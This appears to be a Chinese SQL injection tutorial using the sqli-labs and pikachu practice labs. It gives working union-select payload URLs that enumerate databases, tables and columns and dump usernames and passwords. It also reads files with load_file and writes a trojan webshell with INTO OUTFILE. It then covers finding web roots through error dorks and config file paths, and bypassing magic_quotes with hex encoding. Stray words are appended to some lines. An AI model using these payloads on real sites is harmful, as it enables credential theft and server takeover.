information_schema表特性,記錄數據庫名、表名、列名對應表php
information_schema.schemata:存儲全部數據庫名nginx
schema_name:數據庫名sql
利用sqlilabs第2關進行演示數據庫
可知字段數爲3。apache
獲取全部數據庫名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schematawindows
可知改系統上有10個數據庫服務器
sqlilabs經過查詢對應的數據庫爲security。函數
在網站中一個網站對應一個數據庫。由上圖可知sqlilabs的數據庫爲security,靶場pikachu對應的數據庫名爲pikachu。測試
獲取pikachu數據庫名下的表名信息:網站
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
有4張表。
獲取pikachu據庫下的users表的列名信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
獲取數據庫pikachu數據庫中users表中的具體信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+
讀取函數:load_file()
導出函數:into outfile或into dumpfile
讀取數據:sele文件的路徑’)
select load_file('e:/test.txt');
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+
寫入數據數據到e盤下的test.txt文件
寫入木馬方法:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木馬',3 into outfile 'e:/test.php' --+
就像測試SQL注入同樣在參數後面加上單引號。
http://localhost/?id=1'
經過第一種方式能夠會觸發waf,所以能夠經過錯誤的參數值來爆網站路徑。
http://localhost/?id=-1 http://localhost/?id=oqewe
經過搜索引擎語法可能能夠獲取到網站路徑,如:
Site:xxx.com warning Site:xxx.com "fatal error" intext:warning
網站經過XAMPP或者phpstudy等軟件搭建的話,會存在一些測試文件,好比:
/test.php /ceshi.php /info.php /phpinfo.php /php_info.php /1.php /l.php /x.php
若是注入點有文件讀取權限,就能夠經過load_file函數讀取配置文件,再從中尋找路徑信息。
Windows配置文件:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虛擬主機配置文件
Linux配置文件:
/etc/php.ini php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf 虛擬目錄配置文件
XAMPP配置文件:
Xampp文件路徑 C:\xampp\htdocs httpd.com配置文件 C:\xampp\apache\conf/httpd.conf vhosts.conf虛擬主機 C:\xampp\apache\onf\extra\httpd-vhosts.conf
phpnow配置文件:
網站默認路徑 D:\PHPnow-1.5.6\htdocs httpd.conf配置文件 D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf vhosts.conf虛擬主機 D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf
phpstudy配置文件:
網站默認路徑
C:\phpstudy\www
httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf
vhosts.conf虛擬主機
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP配置文件:
網站默認路徑 /opt/lampp/htdocs httpd.conf配置文件 /opt/lampp/etc/httpd.conf vhosts.conf虛擬主機 /opt/lampp/etc/extra/httpd-vhosts.conf
要求Web服務器是nginx,且存在文件類型解析漏洞。有時在圖片地址後加/x.php,該圖片不但會被看成php文件執行,還有可能爆出物理路徑。
http://localhost/test.jpg/x.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
好比eval()函數可控的話,直接傳入phpinfo(),經過phpinfo頁面中Document_Root參數獲取網站絕對路徑。
magic_quotes_gpc=on時,輸入數據中引號(')、雙引號(「)、右斜槓(\)、null(null)等字符都會被加上反斜線(\)。
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\\test.txt'),3 --+
\\被轉義成\\\\,'轉義成‘\
繞過方法:
將路徑去掉引號採用十六進制編碼便可繞過。
addslashes()函數與魔術引號做用相似,輸入數據中引號(')、雙引號(「)、右斜槓(\)、null(null)等字符都會被加上反斜線(\)。
咱們修改第2關的php文件
再進行測試
沒法注入!且沒法繞過
str_replace('select','warning',$id)函數將select替換成warning。
進行測試:
select被修改,沒法進行注入。